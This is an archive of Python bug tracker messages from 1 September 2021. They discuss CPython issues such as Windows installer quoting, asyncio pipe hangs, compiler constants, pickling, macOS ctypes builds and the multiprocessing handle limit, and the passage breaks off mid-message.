From report at bugs.python.org Wed Sep 1 00:05:28 2021 From: report at bugs.python.org (Inada Naoki) Date: Wed, 01 Sep 2021 04:05:28 +0000 Subject: [issue45020] Freeze all modules imported during startup. In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org> Message-ID: <1630469128.22.0.684725505166.issue45020@roundup.psfhosted.org> Inada Naoki added the comment: I don't want all frozen header files to be committed in git repository. Can't we just build them during build process? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 00:39:04 2021 From: report at bugs.python.org (DMI-1407) Date: Wed, 01 Sep 2021 04:39:04 +0000 Subject: [issue45073] windows installer quiet installation targetdir escapes "quote"-symbol Message-ID: <1630471144.03.0.656994517168.issue45073@roundup.psfhosted.org> New submission from DMI-1407 : If the windows installer (Python 3.8.9 64bit exe) is run in quiet mode and the TargetDir option is used, then the last quote (") symbol gets escaped if the path ends with an backslash (\). Example: /quiet TargetDir="D:\pyt hon\" AssociateFiles=0 Result: TargetDir=hon\" AssociateFiles=0 this raises the error that the path contains a invalid character... (the quote ofc) Example: /quiet TargetDir="D:\pyt hon" AssociateFiles=0 Result: installs correctly so in general "D:\pyt hon" indicates a file thats named "pyt hon" where "D:\pyt hon\" indicates a folder. whatever "D:\pyt hon\" should be valid and i dont understand why the first backslash does not escape the p and leads to "D:pyt hon" ... its really annoying, pls do at least write a notice into the docs that the installer behaves like this. :/ ---------- components: Installation messages: 400809 nosy: DMI-1407 priority: normal severity: normal status: open title: windows installer quiet installation targetdir escapes "quote"-symbol type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 01:10:33 2021 From: report at bugs.python.org (William Fisher) Date: Wed, 01 Sep 2021 05:10:33 +0000 Subject: [issue45074] asyncio hang in subprocess wait_closed() on Windows, BrokenPipeError Message-ID: <1630473033.57.0.597404080995.issue45074@roundup.psfhosted.org> New submission from William Fisher : I have a reproducible case where stdin.wait_closed() is hanging on Windows. This happens in response to a BrokenPipeError. The same code works fine on Linux and MacOS. Please see the attached code for the demo. I believe the hang is related to this debug message from the logs: DEBUG <_ProactorWritePipeTransport closing fd=632>: Fatal write error on pipe transport Traceback (most recent call last): File "C:\hostedtoolcache\windows\Python\3.9.6\x64\lib\asyncio\proactor_events.py", line 379, in _loop_writing f.result() File "C:\hostedtoolcache\windows\Python\3.9.6\x64\lib\asyncio\windows_events.py", line 812, in _poll value = callback(transferred, key, ov) File "C:\hostedtoolcache\windows\Python\3.9.6\x64\lib\asyncio\windows_events.py", line 538, in finish_send return ov.getresult() BrokenPipeError: [WinError 109] The pipe has been ended It appears that the function that logs "Fatal write error on pipe transport" also calls _abort on the stream. If _abort is called before stdin.close(), everything is okay. If _abort is called after stdin.close(), stdin.wait_closed() will hang. Please see issue #44428 for another instance of a similar hang in wait_closed(). ---------- components: asyncio files: wait_closed.py messages: 400810 nosy: asvetlov, byllyfish, yselivanov priority: normal severity: normal status: open title: asyncio hang in subprocess wait_closed() on Windows, BrokenPipeError type: behavior versions: Python 3.10, Python 3.9 Added file: https://bugs.python.org/file50250/wait_closed.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 01:21:47 2021 From: report at bugs.python.org (Eryk Sun) Date: Wed, 01 Sep 2021 05:21:47 +0000 Subject: [issue45073] windows installer quiet installation targetdir escapes "quote"-symbol In-Reply-To: <1630471144.03.0.656994517168.issue45073@roundup.psfhosted.org> Message-ID: <1630473707.6.0.218281221859.issue45073@roundup.psfhosted.org> Eryk Sun added the comment: A literal backlash has to be escaped by doubling it if it precedes a double quote, else it escapes the double quote character. This is how typical command-line argument parsing handles backslash in Windows [1]: * 2n backslashes followed by a quotation mark produce n backslashes followed by begin/end quote. This does not become part of the parsed argument, but toggles the "in quotes" mode. * (2n) + 1 backslashes followed by a quotation mark again produce n backslashes followed by a quotation mark literal ("). This does not toggle the "in quotes" mode. * n backslashes not followed by a quotation mark simply produce n backslashes. For example: import ctypes shell32 = ctypes.WinDLL('shell32', use_last_error=True) shell32.CommandLineToArgvW.restype = ctypes.POINTER(ctypes.c_wchar_p) n = ctypes.c_int() Escape the trailing backslash as a literal backslash: >>> cmd = r'/quiet TargetDir="D:\pyt hon\\" AssociateFiles=0' >>> args = shell32.CommandLineToArgvW(cmd, ctypes.byref(n)) >>> args[:n.value] ['/quiet', 'TargetDir=D:\\pyt hon\\', 'AssociateFiles=0'] Escape the double quote as a literal double quote: >>> cmd = r'/quiet TargetDir="D:\pyt hon\" AssociateFiles=0' >>> args = shell32.CommandLineToArgvW(cmd, ctypes.byref(n)) >>> args[:n.value] ['/quiet', 'TargetDir=D:\\pyt hon" AssociateFiles=0'] --- [1] https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw ---------- components: +Windows nosy: +eryksun, paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 02:28:25 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 01 Sep 2021 06:28:25 +0000 Subject: [issue45053] MD5SumTests.test_checksum_fodder fails on Windows In-Reply-To: <1630347779.05.0.821089086925.issue45053@roundup.psfhosted.org> Message-ID: <1630477705.94.0.078943535039.issue45053@roundup.psfhosted.org> Serhiy Storchaka added the comment: $ touch ???? $ ./python Tools/scripts/md5sum.py ???? d41d8cd98f00b204e9800998ecf8427e ???? $ LC_ALL=uk_UA.koi8u PYTHONIOENCODING=koi8-u ./python Tools/scripts/md5sum.py ???? d41d8cd98f00b204e9800998ecf8427e ???? $ LC_ALL=uk_UA.koi8u PYTHONIOENCODING=utf-8 ./python Tools/scripts/md5sum.py ???? d41d8cd98f00b204e9800998ecf8427e ???????? $ PYTHONIOENCODING=koi8-u ./python Tools/scripts/md5sum.py ???? d41d8cd98f00b204e9800998ecf8427e ???? $ PYTHONIOENCODING=latin-1 ./python Tools/scripts/md5sum.py ???? Traceback (most recent call last): File "/home/serhiy/py/cpython/Tools/scripts/md5sum.py", line 93, in sys.exit(main(sys.argv[1:], sys.stdout)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/serhiy/py/cpython/Tools/scripts/md5sum.py", line 90, in main return sum(args, out) ^^^^^^^^^^^^^^ File "/home/serhiy/py/cpython/Tools/scripts/md5sum.py", line 39, in sum sts = printsum(f, out) or sts ^^^^^^^^^^^^^^^^ File "/home/serhiy/py/cpython/Tools/scripts/md5sum.py", line 53, in printsum sts = printsumfp(fp, filename, out) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/serhiy/py/cpython/Tools/scripts/md5sum.py", line 69, in printsumfp out.write('%s %s\n' % (m.hexdigest(), filename)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeEncodeError: 'latin-1' codec can't encode characters in position 33-36: ordinal not in range(256) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 02:45:13 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 01 Sep 2021 06:45:13 +0000 Subject: [issue45057] Simplify RegressionTestResult In-Reply-To: <1630394668.9.0.639670262222.issue45057@roundup.psfhosted.org> Message-ID: <1630478713.44.0.333606930205.issue45057@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset e527f79fa8b472dd534fc360e998fe8213e6471e by Serhiy Storchaka in branch '3.9': [3.9] bpo-45057: Simplify RegressionTestResult (GH-28081) (GH-28103) https://github.com/python/cpython/commit/e527f79fa8b472dd534fc360e998fe8213e6471e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 02:45:50 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 01 Sep 2021 06:45:50 +0000 Subject: [issue45057] Simplify RegressionTestResult In-Reply-To: <1630394668.9.0.639670262222.issue45057@roundup.psfhosted.org> Message-ID: <1630478750.47.0.714652920595.issue45057@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 3d56272e4ecaef9f38c1f48430364701d34b3ee4 by Miss Islington (bot) in branch '3.10': bpo-45057: Simplify RegressionTestResult (GH-28081) (GH-28101) https://github.com/python/cpython/commit/3d56272e4ecaef9f38c1f48430364701d34b3ee4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 02:51:08 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 01 Sep 2021 06:51:08 +0000 Subject: [issue45060] Do not use the equality operators with None In-Reply-To: <1630410458.57.0.930194989698.issue45060@roundup.psfhosted.org> Message-ID: <1630479068.33.0.35352091111.issue45060@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset e09dd8aafd6f9aef03945c417267806d47084a5d by Serhiy Storchaka in branch '3.9': [3.9] bpo-45060: Get rid of few uses of the equality operators with None (GH-28087). (GH-28093) https://github.com/python/cpython/commit/e09dd8aafd6f9aef03945c417267806d47084a5d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 02:52:03 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 01 Sep 2021 06:52:03 +0000 Subject: [issue45057] Simplify RegressionTestResult In-Reply-To: <1630394668.9.0.639670262222.issue45057@roundup.psfhosted.org> Message-ID: <1630479123.46.0.574916052922.issue45057@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 03:01:16 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 01 Sep 2021 07:01:16 +0000 Subject: [issue45058] Undefined behavior for syntax "except AError or BError:" accepted by interpreter In-Reply-To: <1630409490.64.0.879285632353.issue45058@roundup.psfhosted.org> Message-ID: <1630479676.05.0.377454350538.issue45058@roundup.psfhosted.org> Serhiy Storchaka added the comment: Yes, it is syntactically correct. It can even make sense. But the meaning is different from "except (AError, BError)". If it looks confusing to you, it is a work of linters to warn about misleading or suspicions code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 03:08:14 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 01 Sep 2021 07:08:14 +0000 Subject: [issue27175] Unpickling Path objects In-Reply-To: <1464772684.94.0.191025907363.issue27175@psf.upfronthosting.co.za> Message-ID: <1630480094.83.0.788412211685.issue27175@roundup.psfhosted.org> Serhiy Storchaka added the comment: It would be nice to have simple general mechanism for everloading names of modules, classes and functions, similar to _compat_pickle. Currently you can do this with creating a subclass of Unpickler and overloading find_class(), but it is not so convenient. There is no way to register standard replacements globally. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 03:22:39 2021 From: report at bugs.python.org (Inada Naoki) Date: Wed, 01 Sep 2021 07:22:39 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630480959.61.0.0838117671677.issue45056@roundup.psfhosted.org> Inada Naoki added the comment: I found anther example for unused constants. The `readall()` function. https://github.com/python/cpython/blob/863154c9292e70c5a8a1a3f22ef4ee42e2304281/Lib/_pyio.py#L663-L675 Python 3.9.5: co_consts = ('Read until EOF, using multiple read() call.', None) Python 3.10rc1: co_consts = ('Read until EOF, using multiple read() call.', True, None) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 03:23:49 2021 From: report at bugs.python.org (Ronald Oussoren) Date: Wed, 01 Sep 2021 07:23:49 +0000 Subject: [issue45067] Failed to build _curses on CentOS 7 In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org> Message-ID: <1630481029.51.0.790833274893.issue45067@roundup.psfhosted.org> Ronald Oussoren added the comment: You stripped too much output from the build, in particular you removed the part where _curses failed to build. The output you show only says that _cursus_panel failed verification because _cursus could not be imported. Could you add the build failure for the _cursus module as well? Rerunning make should give a more manageable output. ---------- nosy: +ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 03:57:55 2021 From: report at bugs.python.org (Antony Lee) Date: Wed, 01 Sep 2021 07:57:55 +0000 Subject: [issue27175] Unpickling Path objects In-Reply-To: <1464772684.94.0.191025907363.issue27175@psf.upfronthosting.co.za> Message-ID: <1630483075.19.0.552384343021.issue27175@roundup.psfhosted.org> Antony Lee added the comment: I guess I could instead add some OS-dependent entries for Path classes into _compat_pickle (to do the remapping at load time) if you prefer? I don't have a strong preference either-way. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 04:03:16 2021 From: report at bugs.python.org (Antony Lee) Date: Wed, 01 Sep 2021 08:03:16 +0000 Subject: [issue44019] operator.call/operator.__call__ In-Reply-To: <1620051840.28.0.198895693226.issue44019@roundup.psfhosted.org> Message-ID: <1630483396.74.0.356886668664.issue44019@roundup.psfhosted.org> Antony Lee added the comment: Python2's apply has different semantics: it takes non-unpacked arguments, i.e. def apply(f, args, kwargs={}): return f(*args, **kwargs) rather than def call(f, *args, **kwargs): return f(*args, **kwargs) I agree that both functions can be written in two (or one) line, but the same can be said of most functions in the operator module (def add(x, y): return x + y); from the module's doc ("efficient functions corresponding to the intrinsic operators"), I would argue that the criteria for inclusion are efficiency (operator.call is indeed fast, see the linked PR) and intrinsicness (I don't know if there's a hard definition, but function calling certainly seems intrinsic). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 04:14:57 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 01 Sep 2021 08:14:57 +0000 Subject: [issue27175] Unpickling Path objects In-Reply-To: <1464772684.94.0.191025907363.issue27175@psf.upfronthosting.co.za> Message-ID: <1630484097.3.0.907368447761.issue27175@roundup.psfhosted.org> Serhiy Storchaka added the comment: _compat_pickle is only used with protocol < 3. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 04:16:35 2021 From: report at bugs.python.org (Inada Naoki) Date: Wed, 01 Sep 2021 08:16:35 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630484195.13.0.27698613181.issue45056@roundup.psfhosted.org> Change by Inada Naoki : ---------- keywords: +patch pull_requests: +26551 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28109 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 04:22:44 2021 From: report at bugs.python.org (Inada Naoki) Date: Wed, 01 Sep 2021 08:22:44 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630484564.88.0.680817317586.issue45056@roundup.psfhosted.org> Inada Naoki added the comment: @Pablo This issue seems an optimization rather than bugfix. But since Python 3.10 produces more unused constants than 3.9, this is a regression. GH-28109 removes not all unused constants, but only trailing unused constants. I think it is enough to fix the regression. I want to backport it to 3.10 or 3.10.1 after Mark's review. ---------- nosy: +pablogsal versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 05:08:30 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 01 Sep 2021 09:08:30 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630487310.38.0.250792949872.issue45056@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > I want to backport it to 3.10 or 3.10.1 after Mark's review. Ok, please, add me as a reviewer to the backport once is ready. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 07:45:44 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 11:45:44 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module Message-ID: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> New submission from Irit Katriel : def format_frame(frame) should be renamed to format_frame_summary(frame_summary) because it takes a FrameSummary obejct and not a frame. This is a new API in 3.11 so it can be changed now. There are also local variables in traceback.py which are called frame but actually represent FrameSummary. This can be confusing and should be fixed at the same time where it doesn't break API. ---------- messages: 400825 nosy: iritkatriel priority: normal severity: normal status: open title: confusion between frame and frame_summary in traceback module _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 07:56:20 2021 From: report at bugs.python.org (otn) Date: Wed, 01 Sep 2021 11:56:20 +0000 Subject: [issue45076] open "r+" problem Message-ID: <1630497380.88.0.961026516524.issue45076@roundup.psfhosted.org> New submission from otn : For opened file as "r+", even if write() then readline(), readline() is executed first. When add tell() after write(), it works correctly. ========================================== data1 = "aa\nbb\ncc\n" data2 = "xx\n" with open("data.txt","w") as f: f.write(data1) with open("data.txt","r+") as f: f.write(data2) # f.tell() print("Line:",repr(f.readline())) with open("data.txt") as f: print("All:",repr(f.read())) ========================================== OUTPUT: Line: 'aa\n' All: 'aa\nbb\ncc\nxx\n' EXPECTED: Line: 'bb\n' All: 'xx\nbb\ncc\n' ---------- components: IO messages: 400826 nosy: otn priority: normal severity: normal status: open title: open "r+" problem type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 08:09:54 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 12:09:54 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module In-Reply-To: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> Message-ID: <1630498194.42.0.00731487245088.issue45075@roundup.psfhosted.org> Irit Katriel added the comment: There are places where f is used for an arg or local variable which is a frame, so I'll try f_summary when it's a FrameSummary. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 08:29:19 2021 From: report at bugs.python.org (Christian Tismer) Date: Wed, 01 Sep 2021 12:29:19 +0000 Subject: [issue45061] [C API] Detect refcount bugs on True/False in C extensions In-Reply-To: <1630415859.84.0.961228000434.issue45061@roundup.psfhosted.org> Message-ID: <1630499359.6.0.218796672741.issue45061@roundup.psfhosted.org> Christian Tismer added the comment: What about an even more flexible solution? A debug option could memorize always the last object deallocated and give full info (the object's repr) before the crash would happen. ---------- nosy: +Christian.Tismer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 08:32:21 2021 From: report at bugs.python.org (Christian Tismer) Date: Wed, 01 Sep 2021 12:32:21 +0000 Subject: [issue45061] [C API] Detect refcount bugs on True/False in C extensions In-Reply-To: <1630415859.84.0.961228000434.issue45061@roundup.psfhosted.org> Message-ID: <1630499541.79.0.951008993378.issue45061@roundup.psfhosted.org> Christian Tismer added the comment: Ah, that would be really much to store: every object with a refcount going to zero would have to be memorized :/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 08:54:50 2021 From: report at bugs.python.org (Tobias Bergkvist) Date: Wed, 01 Sep 2021 12:54:50 +0000 Subject: [issue44689] ctypes.util.find_library() does not find macOS 11+ system libraries when built on older macOS systems In-Reply-To: <1626818206.09.0.214441719603.issue44689@roundup.psfhosted.org> Message-ID: <1630500890.45.0.83814743038.issue44689@roundup.psfhosted.org> Tobias Bergkvist added the comment: It seems like _dyld_shared_cache_contains_path exists, while the define flag HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH has not been set. Essentially, the define-flags being used does not seem to agree with the SDK version you are using. Could you try adding HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH like this and see if it builds correctly? clang -Wno-unused-result -Wsign-compare -g -O0 -Wall -arch x86_64 -mmacosx-version-min=10.9 -Wno-nullability-completeness -Wno-expansion-to-defined -Wno-undef-prefix -isysroot /Applications/Xcode_12.4.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.1.sdk -fPIC -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include/ncursesw -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include/uuid -Werror=unguarded-availability-new -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Wstrict-prototypes -Werror=implicit-function-declaration -fvisibility=hidden -I./Include/internal -I. -I./Include -arch x86_64 -mmacosx-version-min=10.9 -Wno-nullability-completeness -Wno-expansion-to-defined -Wno-undef-prefix -isysroot /Applications/Xcode_12.4.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.1.sdk -fPIC -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include/ncursesw -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include/uuid -Werror=unguarded-availability-new -DMACOSX -DUSING_MALLOC_CLOSURE_DOT_C=1 -DHAVE_FFI_PREP_CIF_VAR=1 -DHAVE_FFI_PREP_CLOSURE_LOC=1 -DHAVE_FFI_CLOSURE_ALLOC=1 -HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH=1 -DPy_BUILD_CORE_BUILTIN -I_ctypes/darwin -c ./Modules/_ctypes/callproc.c -o Modules/callproc.o ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 08:55:57 2021 From: report at bugs.python.org (Tobias Bergkvist) Date: Wed, 01 Sep 2021 12:55:57 +0000 Subject: [issue44689] ctypes.util.find_library() does not find macOS 11+ system libraries when built on older macOS systems In-Reply-To: <1626818206.09.0.214441719603.issue44689@roundup.psfhosted.org> Message-ID: <1630500957.93.0.910130137798.issue44689@roundup.psfhosted.org> Tobias Bergkvist added the comment: I made a typo (forgetting the -D): clang -Wno-unused-result -Wsign-compare -g -O0 -Wall -arch x86_64 -mmacosx-version-min=10.9 -Wno-nullability-completeness -Wno-expansion-to-defined -Wno-undef-prefix -isysroot /Applications/Xcode_12.4.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.1.sdk -fPIC -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include/ncursesw -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include/uuid -Werror=unguarded-availability-new -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Wstrict-prototypes -Werror=implicit-function-declaration -fvisibility=hidden -I./Include/internal -I. -I./Include -arch x86_64 -mmacosx-version-min=10.9 -Wno-nullability-completeness -Wno-expansion-to-defined -Wno-undef-prefix -isysroot /Applications/Xcode_12.4.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.1.sdk -fPIC -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include/ncursesw -I/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/tmpkfji88v7/tools/deps/include/uuid -Werror=unguarded-availability-new -DMACOSX -DUSING_MALLOC_CLOSURE_DOT_C=1 -DHAVE_FFI_PREP_CIF_VAR=1 -DHAVE_FFI_PREP_CLOSURE_LOC=1 -DHAVE_FFI_CLOSURE_ALLOC=1 -DHAVE_DYLD_SHARED_CACHE_CONTAINS_PATH=1 -DPy_BUILD_CORE_BUILTIN -I_ctypes/darwin -c ./Modules/_ctypes/callproc.c -o Modules/callproc.o ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 09:00:26 2021 From: report at bugs.python.org (=?utf-8?q?Benjamin_Sz=C5=91ke?=) Date: Wed, 01 Sep 2021 13:00:26 +0000 Subject: [issue21302] time.sleep (floatsleep()) should use clock_nanosleep() on Linux In-Reply-To: <1397851923.06.0.0550198760464.issue21302@psf.upfronthosting.co.za> Message-ID: <1630501226.17.0.884024763677.issue21302@roundup.psfhosted.org> Change by Benjamin Sz?ke : ---------- nosy: +Livius nosy_count: 5.0 -> 6.0 pull_requests: +26552 pull_request: https://github.com/python/cpython/pull/28111 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 09:20:44 2021 From: report at bugs.python.org (Kagami Sascha Rosylight) Date: Wed, 01 Sep 2021 13:20:44 +0000 Subject: [issue45077] multiprocessing.Pool(64) crashes on Windows Message-ID: <1630502444.21.0.00996444749357.issue45077@roundup.psfhosted.org> New submission from Kagami Sascha Rosylight : Similar issue as the previous issue 26903. ``` Python 3.9.7 (tags/v3.9.7:1016ef3, Aug 30 2021, 20:19:38) [MSC v.1929 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import multiprocessing >>> multiprocessing.cpu_count() 64 >>> multiprocessing.Pool(multiprocessing.cpu_count()) Exception in thread Thread-1: Traceback (most recent call last): File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\threading.py", line 973, in _bootstrap_inner >>> self.run() File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\threading.py", line 910, in run self._target(*self._args, **self._kwargs) File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\multiprocessing\pool.py", line 519, in _handle_workers cls._wait_for_updates(current_sentinels, change_notifier) File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\multiprocessing\pool.py", line 499, in _wait_for_updates wait(sentinels, timeout=timeout) File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\multiprocessing\connection.py", line 884, in wait ready_handles = _exhaustive_wait(waithandle_to_obj.keys(), timeout) File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\multiprocessing\connection.py", line 816, in _exhaustive_wait res = _winapi.WaitForMultipleObjects(L, False, timeout) ValueError: need at most 63 handles, got a sequence of length 66 ``` ---------- components: Windows messages: 400832 nosy: paul.moore, saschanaz, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: multiprocessing.Pool(64) crashes on Windows type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 09:22:15 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 13:22:15 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module In-Reply-To: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> Message-ID: <1630502535.59.0.602056531347.issue45075@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +26553 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28112 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 09:26:31 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Wed, 01 Sep 2021 13:26:31 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1630502791.95.0.579042347017.issue43976@roundup.psfhosted.org> Filipe La?ns added the comment: Matthias, can you check if bpo-44982 solves your issues related to the conflicts you were experiencing for the Debian patching? If so, it would unblock this issue. I am probably gonna discuss this proposal with the conda-forge folks next week, to get some feedback from the Conda perspective. I would like to have this unblocked so that we can move forward, as far as I know the only issues are the ones Debian is experiencing about this proposal alone not being able to completely replace the downstream patching. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 09:34:19 2021 From: report at bugs.python.org (Kagami Sascha Rosylight) Date: Wed, 01 Sep 2021 13:34:19 +0000 Subject: [issue45077] multiprocessing.Pool(64) crashes on Windows In-Reply-To: <1630502444.21.0.00996444749357.issue45077@roundup.psfhosted.org> Message-ID: <1630503259.48.0.511164445629.issue45077@roundup.psfhosted.org> Kagami Sascha Rosylight added the comment: The argument-less instantiation also fails, which is worse. ``` >>> multiprocessing.Pool() >>> Exception in thread Thread-1: Traceback (most recent call last): File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\threading.py", line 973, in _bootstrap_inner self.run() File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\threading.py", line 910, in run self._target(*self._args, **self._kwargs) File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\multiprocessing\pool.py", line 519, in _handle_workers cls._wait_for_updates(current_sentinels, change_notifier) File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\multiprocessing\pool.py", line 499, in _wait_for_updates wait(sentinels, timeout=timeout) File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\multiprocessing\connection.py", line 884, in wait ready_handles = _exhaustive_wait(waithandle_to_obj.keys(), timeout) File "C:\Users\sasch\AppData\Local\Programs\Python\Python39\lib\multiprocessing\connection.py", line 816, in _exhaustive_wait res = _winapi.WaitForMultipleObjects(L, False, timeout) ValueError: need at most 63 handles, got a sequence of length 66 ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 09:49:26 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 13:49:26 +0000 Subject: [issue43592] test_importlib: test_multiprocessing_pool_circular_import() fails with "Too many open files" error on os.pipe() In-Reply-To: <1616409182.92.0.0882668450853.issue43592@roundup.psfhosted.org> Message-ID: <1630504166.97.0.204690231411.issue43592@roundup.psfhosted.org> STINNER Victor added the comment: x86-64 macOS 3.10: https://buildbot.python.org/all/#/builders/681/builds/345 ====================================================================== FAIL: 